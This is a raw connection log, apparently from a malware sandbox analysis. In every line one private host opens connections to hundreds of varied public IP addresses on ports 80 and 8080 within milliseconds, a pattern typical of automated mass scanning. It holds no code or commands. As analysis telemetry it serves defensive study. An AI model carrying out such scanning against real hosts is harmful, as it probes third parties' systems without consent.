Mar 2, 2024 12:36:51.811475992 CET	49926	80	192.168.2.23	178.52.86.231
Mar 2, 2024 12:36:51.811475992 CET	49926	80	192.168.2.23	178.100.140.52
Mar 2, 2024 12:36:51.811475992 CET	49926	80	192.168.2.23	178.250.34.98
Mar 2, 2024 12:36:51.811484098 CET	49926	80	192.168.2.23	178.10.34.104
Mar 2, 2024 12:36:51.811484098 CET	49158	8080	192.168.2.23	184.208.162.181
Mar 2, 2024 12:36:51.811484098 CET	49158	8080	192.168.2.23	98.201.106.133
Mar 2, 2024 12:36:51.811485052 CET	49158	8080	192.168.2.23	172.79.34.66
Mar 2, 2024 12:36:51.811484098 CET	49158	8080	192.168.2.23	98.135.253.49
Mar 2, 2024 12:36:51.811491966 CET	49158	8080	192.168.2.23	172.79.134.238
Mar 2, 2024 12:36:51.811491966 CET	49926	80	192.168.2.23	178.8.25.109
Mar 2, 2024 12:36:51.811495066 CET	49158	8080	192.168.2.23	172.241.41.88
Mar 2, 2024 12:36:51.811496019 CET	49158	8080	192.168.2.23	184.196.108.133
Mar 2, 2024 12:36:51.811496019 CET	49158	8080	192.168.2.23	172.47.27.240
Mar 2, 2024 12:36:51.811499119 CET	49158	8080	192.168.2.23	184.88.131.171
Mar 2, 2024 12:36:51.811499119 CET	49158	8080	192.168.2.23	98.231.242.204
Mar 2, 2024 12:36:51.811511040 CET	49158	8080	192.168.2.23	98.9.224.179
Mar 2, 2024 12:36:51.811511040 CET	49158	8080	192.168.2.23	98.255.240.2
Mar 2, 2024 12:36:51.811511040 CET	49926	80	192.168.2.23	178.184.97.21
Mar 2, 2024 12:36:51.811511040 CET	49158	8080	192.168.2.23	172.11.158.158
Mar 2, 2024 12:36:51.811511040 CET	49158	8080	192.168.2.23	98.69.125.57
Mar 2, 2024 12:36:51.811513901 CET	49158	8080	192.168.2.23	184.157.219.57
Mar 2, 2024 12:36:51.811513901 CET	49926	80	192.168.2.23	178.194.80.177
Mar 2, 2024 12:36:51.811517000 CET	49158	8080	192.168.2.23	98.17.216.174
Mar 2, 2024 12:36:51.811517000 CET	49158	8080	192.168.2.23	184.131.154.17
Mar 2, 2024 12:36:51.811522961 CET	49926	80	192.168.2.23	178.49.244.87
Mar 2, 2024 12:36:51.811523914 CET	49158	8080	192.168.2.23	172.70.212.239
Mar 2, 2024 12:36:51.811523914 CET	49158	8080	192.168.2.23	172.67.19.94
Mar 2, 2024 12:36:51.811523914 CET	49926	80	192.168.2.23	178.156.83.248
Mar 2, 2024 12:36:51.811523914 CET	49926	80	192.168.2.23	178.182.151.170
Mar 2, 2024 12:36:51.811523914 CET	49158	8080	192.168.2.23	172.182.171.224
Mar 2, 2024 12:36:51.811523914 CET	49158	8080	192.168.2.23	184.168.141.119
Mar 2, 2024 12:36:51.811531067 CET	49926	80	192.168.2.23	178.28.83.127
Mar 2, 2024 12:36:51.811531067 CET	49158	8080	192.168.2.23	98.44.189.177
Mar 2, 2024 12:36:51.811532021 CET	49158	8080	192.168.2.23	98.100.33.118
Mar 2, 2024 12:36:51.811532021 CET	49158	8080	192.168.2.23	98.235.93.226
Mar 2, 2024 12:36:51.811532974 CET	49158	8080	192.168.2.23	184.55.133.60
Mar 2, 2024 12:36:51.811536074 CET	49158	8080	192.168.2.23	172.52.7.86
Mar 2, 2024 12:36:51.811536074 CET	49926	80	192.168.2.23	178.111.37.156
Mar 2, 2024 12:36:51.811537981 CET	49926	80	192.168.2.23	178.28.117.20
Mar 2, 2024 12:36:51.811537981 CET	49158	8080	192.168.2.23	184.170.25.188
Mar 2, 2024 12:36:51.811537981 CET	49158	8080	192.168.2.23	98.225.161.58
Mar 2, 2024 12:36:51.811537981 CET	49926	80	192.168.2.23	178.245.141.202
Mar 2, 2024 12:36:51.811537981 CET	49926	80	192.168.2.23	178.161.75.250
Mar 2, 2024 12:36:51.811537981 CET	49158	8080	192.168.2.23	172.104.120.91
Mar 2, 2024 12:36:51.811537981 CET	49158	8080	192.168.2.23	172.139.92.179
Mar 2, 2024 12:36:51.811537981 CET	49158	8080	192.168.2.23	184.172.153.123
Mar 2, 2024 12:36:51.811537981 CET	49926	80	192.168.2.23	178.74.153.64
Mar 2, 2024 12:36:51.811548948 CET	49158	8080	192.168.2.23	184.172.87.161
Mar 2, 2024 12:36:51.811548948 CET	49158	8080	192.168.2.23	172.198.102.92
Mar 2, 2024 12:36:51.811548948 CET	49158	8080	192.168.2.23	184.53.254.162
Mar 2, 2024 12:36:51.811557055 CET	49926	80	192.168.2.23	178.172.126.80
Mar 2, 2024 12:36:51.811557055 CET	49158	8080	192.168.2.23	172.226.153.24
Mar 2, 2024 12:36:51.811561108 CET	49158	8080	192.168.2.23	184.133.132.67
Mar 2, 2024 12:36:51.811561108 CET	49158	8080	192.168.2.23	172.54.199.64
Mar 2, 2024 12:36:51.811575890 CET	49158	8080	192.168.2.23	98.13.150.209
Mar 2, 2024 12:36:51.811575890 CET	49158	8080	192.168.2.23	98.246.127.55
Mar 2, 2024 12:36:51.811583996 CET	49926	80	192.168.2.23	178.151.194.188
Mar 2, 2024 12:36:51.811583996 CET	49926	80	192.168.2.23	178.99.134.157
Mar 2, 2024 12:36:51.811583996 CET	49158	8080	192.168.2.23	98.254.169.247
Mar 2, 2024 12:36:51.811583996 CET	49926	80	192.168.2.23	178.62.245.149
Mar 2, 2024 12:36:51.811590910 CET	49158	8080	192.168.2.23	98.115.20.179
Mar 2, 2024 12:36:51.811590910 CET	49158	8080	192.168.2.23	172.25.110.77
Mar 2, 2024 12:36:51.811589003 CET	49158	8080	192.168.2.23	172.217.146.90
Mar 2, 2024 12:36:51.811590910 CET	49926	80	192.168.2.23	178.197.217.200
Mar 2, 2024 12:36:51.811589003 CET	49158	8080	192.168.2.23	184.197.24.218
Mar 2, 2024 12:36:51.811593056 CET	49926	80	192.168.2.23	178.189.199.234
Mar 2, 2024 12:36:51.811590910 CET	49158	8080	192.168.2.23	172.48.132.4
Mar 2, 2024 12:36:51.811589003 CET	49158	8080	192.168.2.23	184.239.138.199
Mar 2, 2024 12:36:51.811593056 CET	49926	80	192.168.2.23	178.191.147.212
Mar 2, 2024 12:36:51.811593056 CET	49926	80	192.168.2.23	178.73.16.133
Mar 2, 2024 12:36:51.811594009 CET	49158	8080	192.168.2.23	98.186.139.155
Mar 2, 2024 12:36:51.811593056 CET	49926	80	192.168.2.23	178.131.227.56
Mar 2, 2024 12:36:51.811589003 CET	49926	80	192.168.2.23	178.5.107.241
Mar 2, 2024 12:36:51.811594009 CET	49158	8080	192.168.2.23	98.192.147.127
Mar 2, 2024 12:36:51.811599016 CET	49158	8080	192.168.2.23	172.89.101.38
Mar 2, 2024 12:36:51.811589003 CET	49158	8080	192.168.2.23	98.195.128.239
Mar 2, 2024 12:36:51.811594009 CET	49158	8080	192.168.2.23	172.13.119.103
Mar 2, 2024 12:36:51.811589003 CET	49926	80	192.168.2.23	178.212.27.233
Mar 2, 2024 12:36:51.811593056 CET	49926	80	192.168.2.23	178.37.242.92
Mar 2, 2024 12:36:51.811599016 CET	49158	8080	192.168.2.23	184.115.251.132
Mar 2, 2024 12:36:51.811593056 CET	49158	8080	192.168.2.23	184.167.61.221
Mar 2, 2024 12:36:51.811589003 CET	49926	80	192.168.2.23	178.51.176.216
Mar 2, 2024 12:36:51.811599016 CET	49158	8080	192.168.2.23	184.80.239.160
Mar 2, 2024 12:36:51.811594009 CET	49158	8080	192.168.2.23	172.254.228.137
Mar 2, 2024 12:36:51.811593056 CET	49158	8080	192.168.2.23	172.214.246.80
Mar 2, 2024 12:36:51.811599016 CET	49926	80	192.168.2.23	178.217.69.180
Mar 2, 2024 12:36:51.811603069 CET	49926	80	192.168.2.23	178.250.137.231
Mar 2, 2024 12:36:51.811599016 CET	49158	8080	192.168.2.23	98.55.219.39
Mar 2, 2024 12:36:51.811593056 CET	49926	80	192.168.2.23	178.214.182.224
Mar 2, 2024 12:36:51.811599016 CET	49158	8080	192.168.2.23	98.37.32.54
Mar 2, 2024 12:36:51.811593056 CET	49926	80	192.168.2.23	178.56.81.61
Mar 2, 2024 12:36:51.811599016 CET	49158	8080	192.168.2.23	184.32.101.189
Mar 2, 2024 12:36:51.811599016 CET	49926	80	192.168.2.23	178.54.29.86
Mar 2, 2024 12:36:51.811647892 CET	49158	8080	192.168.2.23	98.204.32.41
Mar 2, 2024 12:36:51.811647892 CET	49158	8080	192.168.2.23	172.245.226.23
Mar 2, 2024 12:36:51.811655998 CET	49926	80	192.168.2.23	178.32.119.125
Mar 2, 2024 12:36:51.811655998 CET	49926	80	192.168.2.23	178.94.57.166
Mar 2, 2024 12:36:51.811655998 CET	49926	80	192.168.2.23	178.18.27.134
Mar 2, 2024 12:36:51.811655998 CET	49926	80	192.168.2.23	178.115.94.145
Mar 2, 2024 12:36:51.811655998 CET	49926	80	192.168.2.23	178.198.72.197
Mar 2, 2024 12:36:51.811659098 CET	49926	80	192.168.2.23	178.177.205.127
Mar 2, 2024 12:36:51.811659098 CET	49158	8080	192.168.2.23	98.237.251.37
Mar 2, 2024 12:36:51.811662912 CET	49158	8080	192.168.2.23	98.197.35.159
Mar 2, 2024 12:36:51.811664104 CET	49926	80	192.168.2.23	178.151.30.74
Mar 2, 2024 12:36:51.811664104 CET	49158	8080	192.168.2.23	98.115.10.54
Mar 2, 2024 12:36:51.811669111 CET	49926	80	192.168.2.23	178.23.87.40
Mar 2, 2024 12:36:51.811669111 CET	49158	8080	192.168.2.23	172.94.15.104
Mar 2, 2024 12:36:51.811674118 CET	49158	8080	192.168.2.23	184.225.64.45
Mar 2, 2024 12:36:51.811675072 CET	49926	80	192.168.2.23	178.191.172.146
Mar 2, 2024 12:36:51.811680079 CET	49926	80	192.168.2.23	178.68.168.204
Mar 2, 2024 12:36:51.811688900 CET	49926	80	192.168.2.23	178.182.247.126
Mar 2, 2024 12:36:51.811688900 CET	49158	8080	192.168.2.23	172.72.251.182
Mar 2, 2024 12:36:51.811688900 CET	49926	80	192.168.2.23	178.57.142.231
Mar 2, 2024 12:36:51.811690092 CET	49926	80	192.168.2.23	178.134.234.163
Mar 2, 2024 12:36:51.811690092 CET	49158	8080	192.168.2.23	184.3.25.94
Mar 2, 2024 12:36:51.811697006 CET	49926	80	192.168.2.23	178.31.209.9
Mar 2, 2024 12:36:51.811698914 CET	49158	8080	192.168.2.23	98.8.149.70
Mar 2, 2024 12:36:51.811698914 CET	49926	80	192.168.2.23	178.122.100.181
Mar 2, 2024 12:36:51.811713934 CET	49926	80	192.168.2.23	178.155.67.119
Mar 2, 2024 12:36:51.811718941 CET	49926	80	192.168.2.23	178.94.178.189
Mar 2, 2024 12:36:51.811723948 CET	49926	80	192.168.2.23	178.143.6.196
Mar 2, 2024 12:36:51.811723948 CET	49926	80	192.168.2.23	178.174.220.78
Mar 2, 2024 12:36:51.811728001 CET	49926	80	192.168.2.23	178.44.251.62
Mar 2, 2024 12:36:51.811731100 CET	49158	8080	192.168.2.23	98.219.177.254
Mar 2, 2024 12:36:51.811738014 CET	49158	8080	192.168.2.23	98.106.49.213
Mar 2, 2024 12:36:51.811739922 CET	49158	8080	192.168.2.23	172.173.235.123
Mar 2, 2024 12:36:51.811739922 CET	49158	8080	192.168.2.23	172.176.135.191
Mar 2, 2024 12:36:51.811741114 CET	49158	8080	192.168.2.23	172.140.87.127
Mar 2, 2024 12:36:51.811741114 CET	49158	8080	192.168.2.23	172.60.182.198
Mar 2, 2024 12:36:51.811753988 CET	49158	8080	192.168.2.23	98.54.114.214
Mar 2, 2024 12:36:51.811753988 CET	49158	8080	192.168.2.23	98.83.142.85
Mar 2, 2024 12:36:51.811753988 CET	49158	8080	192.168.2.23	184.82.35.48
Mar 2, 2024 12:36:51.811755896 CET	49926	80	192.168.2.23	178.130.38.65
Mar 2, 2024 12:36:51.811759949 CET	49158	8080	192.168.2.23	98.115.39.140
Mar 2, 2024 12:36:51.811777115 CET	49926	80	192.168.2.23	178.161.50.224
Mar 2, 2024 12:36:51.811777115 CET	49158	8080	192.168.2.23	98.253.197.69
Mar 2, 2024 12:36:51.811777115 CET	49158	8080	192.168.2.23	98.176.177.65
Mar 2, 2024 12:36:51.811779022 CET	49926	80	192.168.2.23	178.89.161.54
Mar 2, 2024 12:36:51.811779976 CET	49158	8080	192.168.2.23	172.201.118.96
Mar 2, 2024 12:36:51.811779976 CET	49158	8080	192.168.2.23	172.160.65.64
Mar 2, 2024 12:36:51.811781883 CET	49158	8080	192.168.2.23	172.231.28.193
Mar 2, 2024 12:36:51.811781883 CET	49158	8080	192.168.2.23	172.238.192.156
Mar 2, 2024 12:36:51.811784029 CET	49158	8080	192.168.2.23	172.54.28.191
Mar 2, 2024 12:36:51.811784029 CET	49926	80	192.168.2.23	178.178.64.41
Mar 2, 2024 12:36:51.811789036 CET	49158	8080	192.168.2.23	98.151.226.76
Mar 2, 2024 12:36:51.811799049 CET	49926	80	192.168.2.23	178.46.216.24
Mar 2, 2024 12:36:51.811799049 CET	49158	8080	192.168.2.23	172.132.80.160
Mar 2, 2024 12:36:51.811799049 CET	49158	8080	192.168.2.23	172.253.30.238
Mar 2, 2024 12:36:51.811799049 CET	49158	8080	192.168.2.23	184.108.195.3
Mar 2, 2024 12:36:51.811808109 CET	49926	80	192.168.2.23	178.199.157.59
Mar 2, 2024 12:36:51.811808109 CET	49158	8080	192.168.2.23	172.23.211.67
Mar 2, 2024 12:36:51.811810970 CET	49158	8080	192.168.2.23	184.132.71.135
Mar 2, 2024 12:36:51.811813116 CET	49926	80	192.168.2.23	178.56.203.122
Mar 2, 2024 12:36:51.811810970 CET	49158	8080	192.168.2.23	172.254.212.195
Mar 2, 2024 12:36:51.811814070 CET	49158	8080	192.168.2.23	98.201.122.137
Mar 2, 2024 12:36:51.811814070 CET	49158	8080	192.168.2.23	172.196.204.203
Mar 2, 2024 12:36:51.811814070 CET	49926	80	192.168.2.23	178.54.113.84
Mar 2, 2024 12:36:51.811815023 CET	49158	8080	192.168.2.23	98.183.34.48
Mar 2, 2024 12:36:51.811825037 CET	49926	80	192.168.2.23	178.195.250.60
Mar 2, 2024 12:36:51.811825037 CET	49926	80	192.168.2.23	178.185.45.224
Mar 2, 2024 12:36:51.811825037 CET	49926	80	192.168.2.23	178.40.97.217
Mar 2, 2024 12:36:51.811825037 CET	49158	8080	192.168.2.23	184.241.18.158
Mar 2, 2024 12:36:51.811825037 CET	49158	8080	192.168.2.23	98.107.199.220
Mar 2, 2024 12:36:51.811825037 CET	49158	8080	192.168.2.23	172.188.180.205
Mar 2, 2024 12:36:51.811830044 CET	49158	8080	192.168.2.23	184.162.195.234
Mar 2, 2024 12:36:51.811830044 CET	49158	8080	192.168.2.23	184.188.109.92
Mar 2, 2024 12:36:51.811825037 CET	49158	8080	192.168.2.23	98.136.159.218
Mar 2, 2024 12:36:51.811830044 CET	49158	8080	192.168.2.23	184.87.249.92
Mar 2, 2024 12:36:51.811830044 CET	49158	8080	192.168.2.23	172.63.78.167
Mar 2, 2024 12:36:51.811830044 CET	49158	8080	192.168.2.23	98.120.38.121
Mar 2, 2024 12:36:51.811830044 CET	49926	80	192.168.2.23	178.124.56.140
Mar 2, 2024 12:36:51.811834097 CET	49158	8080	192.168.2.23	184.226.224.68
Mar 2, 2024 12:36:51.811840057 CET	49158	8080	192.168.2.23	172.57.86.186
Mar 2, 2024 12:36:51.811840057 CET	49158	8080	192.168.2.23	184.75.78.188
Mar 2, 2024 12:36:51.811840057 CET	49926	80	192.168.2.23	178.222.35.151
Mar 2, 2024 12:36:51.811840057 CET	49926	80	192.168.2.23	178.239.79.88
Mar 2, 2024 12:36:51.811841965 CET	49158	8080	192.168.2.23	172.108.161.101
Mar 2, 2024 12:36:51.811849117 CET	49926	80	192.168.2.23	178.252.231.128
Mar 2, 2024 12:36:51.811849117 CET	49158	8080	192.168.2.23	172.168.247.219
Mar 2, 2024 12:36:51.811856031 CET	49158	8080	192.168.2.23	172.104.205.176
Mar 2, 2024 12:36:51.811857939 CET	49158	8080	192.168.2.23	98.119.13.72
Mar 2, 2024 12:36:51.811861992 CET	49158	8080	192.168.2.23	172.247.1.37
Mar 2, 2024 12:36:51.811861992 CET	49926	80	192.168.2.23	178.249.155.193
Mar 2, 2024 12:36:51.811861992 CET	49158	8080	192.168.2.23	172.55.89.151
Mar 2, 2024 12:36:51.811880112 CET	49926	80	192.168.2.23	178.186.40.33
Mar 2, 2024 12:36:51.811880112 CET	49158	8080	192.168.2.23	98.3.252.18
Mar 2, 2024 12:36:51.811880112 CET	49926	80	192.168.2.23	178.222.206.253
Mar 2, 2024 12:36:51.811882973 CET	49158	8080	192.168.2.23	172.149.21.237
Mar 2, 2024 12:36:51.811882973 CET	49158	8080	192.168.2.23	184.164.154.58
Mar 2, 2024 12:36:51.811882973 CET	49158	8080	192.168.2.23	172.172.36.118
Mar 2, 2024 12:36:51.811883926 CET	49158	8080	192.168.2.23	98.216.236.64
Mar 2, 2024 12:36:51.811883926 CET	49926	80	192.168.2.23	178.27.208.161
Mar 2, 2024 12:36:51.811883926 CET	49926	80	192.168.2.23	178.187.115.24
Mar 2, 2024 12:36:51.811883926 CET	49158	8080	192.168.2.23	172.147.2.211
Mar 2, 2024 12:36:51.811883926 CET	49158	8080	192.168.2.23	98.234.79.239
Mar 2, 2024 12:36:51.811883926 CET	49158	8080	192.168.2.23	172.242.109.128
Mar 2, 2024 12:36:51.811883926 CET	49926	80	192.168.2.23	178.121.122.122
Mar 2, 2024 12:36:51.811887980 CET	49158	8080	192.168.2.23	184.148.216.229
Mar 2, 2024 12:36:51.811887980 CET	49926	80	192.168.2.23	178.120.32.233
Mar 2, 2024 12:36:51.811887980 CET	49926	80	192.168.2.23	178.134.126.87
Mar 2, 2024 12:36:51.811888933 CET	49158	8080	192.168.2.23	184.132.243.74
Mar 2, 2024 12:36:51.811888933 CET	49158	8080	192.168.2.23	184.77.38.109
Mar 2, 2024 12:36:51.811892033 CET	49926	80	192.168.2.23	178.114.112.80
Mar 2, 2024 12:36:51.811892033 CET	49158	8080	192.168.2.23	172.74.54.58
Mar 2, 2024 12:36:51.811893940 CET	49158	8080	192.168.2.23	172.120.99.187
Mar 2, 2024 12:36:51.811893940 CET	49158	8080	192.168.2.23	172.182.82.143
Mar 2, 2024 12:36:51.811892033 CET	49158	8080	192.168.2.23	184.124.44.96
Mar 2, 2024 12:36:51.811893940 CET	49158	8080	192.168.2.23	172.249.95.172
Mar 2, 2024 12:36:51.811897039 CET	49158	8080	192.168.2.23	98.162.226.32
Mar 2, 2024 12:36:51.811892033 CET	49158	8080	192.168.2.23	172.11.51.165
Mar 2, 2024 12:36:51.811897039 CET	49158	8080	192.168.2.23	184.40.64.132
Mar 2, 2024 12:36:51.811893940 CET	49158	8080	192.168.2.23	172.96.188.193
Mar 2, 2024 12:36:51.811892033 CET	49926	80	192.168.2.23	178.116.3.66
Mar 2, 2024 12:36:51.811893940 CET	49926	80	192.168.2.23	178.239.19.176
Mar 2, 2024 12:36:51.811897039 CET	49158	8080	192.168.2.23	172.161.86.66
Mar 2, 2024 12:36:51.811904907 CET	49926	80	192.168.2.23	178.165.79.151
Mar 2, 2024 12:36:51.811913967 CET	49158	8080	192.168.2.23	98.46.180.41
Mar 2, 2024 12:36:51.811913967 CET	49158	8080	192.168.2.23	98.62.231.116
Mar 2, 2024 12:36:51.811913967 CET	49926	80	192.168.2.23	178.49.83.220
Mar 2, 2024 12:36:51.811913967 CET	49158	8080	192.168.2.23	98.118.65.121
Mar 2, 2024 12:36:51.811913967 CET	49158	8080	192.168.2.23	98.218.6.4
Mar 2, 2024 12:36:51.811913967 CET	49158	8080	192.168.2.23	184.97.155.88
Mar 2, 2024 12:36:51.811913967 CET	49158	8080	192.168.2.23	98.39.225.86
Mar 2, 2024 12:36:51.811918974 CET	49158	8080	192.168.2.23	184.97.30.110
Mar 2, 2024 12:36:51.811922073 CET	49926	80	192.168.2.23	178.218.72.160
Mar 2, 2024 12:36:51.811927080 CET	49926	80	192.168.2.23	178.211.195.52
Mar 2, 2024 12:36:51.811927080 CET	49926	80	192.168.2.23	178.133.18.173
Mar 2, 2024 12:36:51.811939955 CET	49158	8080	192.168.2.23	172.33.95.95
Mar 2, 2024 12:36:51.811947107 CET	49926	80	192.168.2.23	178.166.231.226
Mar 2, 2024 12:36:51.811964035 CET	49926	80	192.168.2.23	178.95.164.203
Mar 2, 2024 12:36:51.811966896 CET	49926	80	192.168.2.23	178.65.159.33
Mar 2, 2024 12:36:51.811966896 CET	49926	80	192.168.2.23	178.182.70.226
Mar 2, 2024 12:36:51.811971903 CET	49926	80	192.168.2.23	178.21.74.1
Mar 2, 2024 12:36:51.811971903 CET	49158	8080	192.168.2.23	184.110.59.251
Mar 2, 2024 12:36:51.811971903 CET	49926	80	192.168.2.23	178.114.213.75
Mar 2, 2024 12:36:51.811975956 CET	49158	8080	192.168.2.23	184.194.105.103
Mar 2, 2024 12:36:51.811975956 CET	49926	80	192.168.2.23	178.141.104.44
Mar 2, 2024 12:36:51.811980963 CET	49926	80	192.168.2.23	178.219.177.193
Mar 2, 2024 12:36:51.811980963 CET	49158	8080	192.168.2.23	172.116.149.137
Mar 2, 2024 12:36:51.811991930 CET	49926	80	192.168.2.23	178.47.18.125
Mar 2, 2024 12:36:51.811991930 CET	49158	8080	192.168.2.23	184.173.7.71
Mar 2, 2024 12:36:51.811999083 CET	49926	80	192.168.2.23	178.5.252.208
Mar 2, 2024 12:36:51.812001944 CET	49926	80	192.168.2.23	178.108.189.161
Mar 2, 2024 12:36:51.812001944 CET	49158	8080	192.168.2.23	172.192.229.177
Mar 2, 2024 12:36:51.812001944 CET	49926	80	192.168.2.23	178.207.132.172
Mar 2, 2024 12:36:51.812004089 CET	49158	8080	192.168.2.23	98.189.175.44
Mar 2, 2024 12:36:51.812001944 CET	49158	8080	192.168.2.23	98.114.107.15
Mar 2, 2024 12:36:51.812009096 CET	49158	8080	192.168.2.23	184.252.163.88
Mar 2, 2024 12:36:51.812010050 CET	49158	8080	192.168.2.23	184.240.117.0
Mar 2, 2024 12:36:51.812010050 CET	49158	8080	192.168.2.23	98.51.14.162
Mar 2, 2024 12:36:51.812009096 CET	49926	80	192.168.2.23	178.51.113.57
Mar 2, 2024 12:36:51.812010050 CET	49926	80	192.168.2.23	178.231.60.255
Mar 2, 2024 12:36:51.812012911 CET	49158	8080	192.168.2.23	98.227.56.76
Mar 2, 2024 12:36:51.812010050 CET	49158	8080	192.168.2.23	184.4.167.220
Mar 2, 2024 12:36:51.812010050 CET	49158	8080	192.168.2.23	98.92.198.181
Mar 2, 2024 12:36:51.812010050 CET	49158	8080	192.168.2.23	172.58.9.127
Mar 2, 2024 12:36:51.812011003 CET	49158	8080	192.168.2.23	98.243.238.211
Mar 2, 2024 12:36:51.812011957 CET	49158	8080	192.168.2.23	172.144.35.181
Mar 2, 2024 12:36:51.812025070 CET	49158	8080	192.168.2.23	184.52.228.170
Mar 2, 2024 12:36:51.812025070 CET	49158	8080	192.168.2.23	184.212.75.180
Mar 2, 2024 12:36:51.812030077 CET	49926	80	192.168.2.23	178.79.233.247
Mar 2, 2024 12:36:51.812030077 CET	49926	80	192.168.2.23	178.209.28.229
Mar 2, 2024 12:36:51.812030077 CET	49158	8080	192.168.2.23	184.153.37.31
Mar 2, 2024 12:36:51.812036037 CET	49158	8080	192.168.2.23	98.12.49.218
Mar 2, 2024 12:36:51.812037945 CET	49158	8080	192.168.2.23	98.86.190.81
Mar 2, 2024 12:36:51.812040091 CET	49926	80	192.168.2.23	178.152.74.132
Mar 2, 2024 12:36:51.812041998 CET	49158	8080	192.168.2.23	98.52.223.212
Mar 2, 2024 12:36:51.812041998 CET	49926	80	192.168.2.23	178.82.89.99
Mar 2, 2024 12:36:51.812057018 CET	49926	80	192.168.2.23	178.105.222.215
Mar 2, 2024 12:36:51.812058926 CET	49926	80	192.168.2.23	178.183.133.17
Mar 2, 2024 12:36:51.812064886 CET	49926	80	192.168.2.23	178.53.204.12
Mar 2, 2024 12:36:51.812064886 CET	49926	80	192.168.2.23	178.198.35.190
Mar 2, 2024 12:36:51.812074900 CET	49158	8080	192.168.2.23	98.165.203.188
Mar 2, 2024 12:36:51.812082052 CET	49926	80	192.168.2.23	178.97.241.26
Mar 2, 2024 12:36:51.812092066 CET	49158	8080	192.168.2.23	98.223.89.229
Mar 2, 2024 12:36:51.812096119 CET	49158	8080	192.168.2.23	184.236.236.129
Mar 2, 2024 12:36:51.812096119 CET	49158	8080	192.168.2.23	98.0.94.52
Mar 2, 2024 12:36:51.812096119 CET	49158	8080	192.168.2.23	184.4.189.18
Mar 2, 2024 12:36:51.812097073 CET	49158	8080	192.168.2.23	98.151.10.54
Mar 2, 2024 12:36:51.812102079 CET	49158	8080	192.168.2.23	172.101.203.136
Mar 2, 2024 12:36:51.812103033 CET	49158	8080	192.168.2.23	172.59.143.151
Mar 2, 2024 12:36:51.812103033 CET	49158	8080	192.168.2.23	184.239.224.64
Mar 2, 2024 12:36:51.812114954 CET	49158	8080	192.168.2.23	184.112.147.158
Mar 2, 2024 12:36:51.812114954 CET	49158	8080	192.168.2.23	184.8.130.245
Mar 2, 2024 12:36:51.812115908 CET	49158	8080	192.168.2.23	98.252.213.182
Mar 2, 2024 12:36:51.812114954 CET	49158	8080	192.168.2.23	172.32.60.51
Mar 2, 2024 12:36:51.812114954 CET	49158	8080	192.168.2.23	184.224.242.49
Mar 2, 2024 12:36:51.812114954 CET	49158	8080	192.168.2.23	184.172.231.195
Mar 2, 2024 12:36:51.812114954 CET	49158	8080	192.168.2.23	98.210.191.24
Mar 2, 2024 12:36:51.812114954 CET	49158	8080	192.168.2.23	98.186.179.20
Mar 2, 2024 12:36:51.812130928 CET	49158	8080	192.168.2.23	172.4.178.33
Mar 2, 2024 12:36:51.812130928 CET	49158	8080	192.168.2.23	172.248.252.0
Mar 2, 2024 12:36:51.812134981 CET	49158	8080	192.168.2.23	184.206.239.35
Mar 2, 2024 12:36:51.812134981 CET	49158	8080	192.168.2.23	184.48.218.103
Mar 2, 2024 12:36:51.812134981 CET	49158	8080	192.168.2.23	172.247.62.84
Mar 2, 2024 12:36:51.812135935 CET	49158	8080	192.168.2.23	98.93.119.213
Mar 2, 2024 12:36:51.812136889 CET	49158	8080	192.168.2.23	184.174.225.12
Mar 2, 2024 12:36:51.812135935 CET	49926	80	192.168.2.23	178.49.130.49
Mar 2, 2024 12:36:51.812139034 CET	49926	80	192.168.2.23	178.139.151.6
Mar 2, 2024 12:36:51.812139034 CET	49926	80	192.168.2.23	178.57.240.252
Mar 2, 2024 12:36:51.812144995 CET	49926	80	192.168.2.23	178.89.199.29
Mar 2, 2024 12:36:51.812163115 CET	49158	8080	192.168.2.23	172.23.226.110
Mar 2, 2024 12:36:51.812163115 CET	49158	8080	192.168.2.23	172.181.84.71
Mar 2, 2024 12:36:51.812165022 CET	49926	80	192.168.2.23	178.30.222.144
Mar 2, 2024 12:36:51.812167883 CET	49926	80	192.168.2.23	178.51.186.199
Mar 2, 2024 12:36:51.812167883 CET	49158	8080	192.168.2.23	184.42.1.215
Mar 2, 2024 12:36:51.812167883 CET	49926	80	192.168.2.23	178.58.251.226
Mar 2, 2024 12:36:51.812180996 CET	49926	80	192.168.2.23	178.203.143.173
Mar 2, 2024 12:36:51.812186956 CET	49926	80	192.168.2.23	178.128.245.178
Mar 2, 2024 12:36:51.812186956 CET	49926	80	192.168.2.23	178.217.48.14
Mar 2, 2024 12:36:51.812195063 CET	49926	80	192.168.2.23	178.241.98.53
Mar 2, 2024 12:36:51.812203884 CET	49926	80	192.168.2.23	178.188.130.91
Mar 2, 2024 12:36:51.812220097 CET	49926	80	192.168.2.23	178.153.143.95
Mar 2, 2024 12:36:51.812222958 CET	49926	80	192.168.2.23	178.47.131.52
Mar 2, 2024 12:36:51.812222958 CET	49926	80	192.168.2.23	178.41.192.96
Mar 2, 2024 12:36:51.812258005 CET	49926	80	192.168.2.23	178.107.93.84
Mar 2, 2024 12:36:51.812258005 CET	49926	80	192.168.2.23	178.34.57.208
Mar 2, 2024 12:36:51.812263012 CET	49926	80	192.168.2.23	178.169.192.239
Mar 2, 2024 12:36:51.812263966 CET	49926	80	192.168.2.23	178.62.11.101
Mar 2, 2024 12:36:51.812263966 CET	49926	80	192.168.2.23	178.97.0.244
Mar 2, 2024 12:36:51.812274933 CET	49926	80	192.168.2.23	178.21.168.7
Mar 2, 2024 12:36:51.812274933 CET	49926	80	192.168.2.23	178.25.119.250
Mar 2, 2024 12:36:51.812282085 CET	49926	80	192.168.2.23	178.149.53.161
Mar 2, 2024 12:36:51.812282085 CET	49926	80	192.168.2.23	178.81.255.220
Mar 2, 2024 12:36:51.812299013 CET	49926	80	192.168.2.23	178.89.154.43
Mar 2, 2024 12:36:51.812299013 CET	49926	80	192.168.2.23	178.43.17.79
Mar 2, 2024 12:36:51.812309980 CET	49926	80	192.168.2.23	178.0.245.151
Mar 2, 2024 12:36:51.812309980 CET	49926	80	192.168.2.23	178.2.244.57
Mar 2, 2024 12:36:51.812314987 CET	49926	80	192.168.2.23	178.173.134.188
Mar 2, 2024 12:36:51.812314987 CET	49926	80	192.168.2.23	178.12.150.9
Mar 2, 2024 12:36:51.812335968 CET	49926	80	192.168.2.23	178.92.223.97
Mar 2, 2024 12:36:51.812336922 CET	49926	80	192.168.2.23	178.130.3.68
Mar 2, 2024 12:36:51.812344074 CET	49926	80	192.168.2.23	178.73.5.235
Mar 2, 2024 12:36:51.812352896 CET	49926	80	192.168.2.23	178.181.252.43
Mar 2, 2024 12:36:51.812354088 CET	49926	80	192.168.2.23	178.178.85.155
Mar 2, 2024 12:36:51.812354088 CET	49926	80	192.168.2.23	178.181.244.54
